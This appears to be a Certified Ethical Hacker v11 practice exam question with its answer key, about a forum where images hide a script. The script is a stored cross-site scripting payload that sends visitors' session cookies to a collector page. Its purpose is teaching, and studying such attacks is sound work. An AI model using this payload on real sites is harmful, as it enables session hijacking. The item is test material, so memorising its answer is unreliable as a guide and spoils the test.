Certified Ethical Hacker v11 312-50v11 – Question183

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

<script>
document.write( '<img. src="https://localhost/submitcookie.php? cookie ='+ escape
(document.cookie) +"'? />);
</script>

What issue occurred for the users who clicked on the image?

A.
This php file silently executes the code and grabs the user's session cookie and session ID.
B. The code redirects the user to another site.
C. The code injects a new cookie to the browser.
D. The code is a virus that is attempting to gather the user's username and password.

Correct Answer: A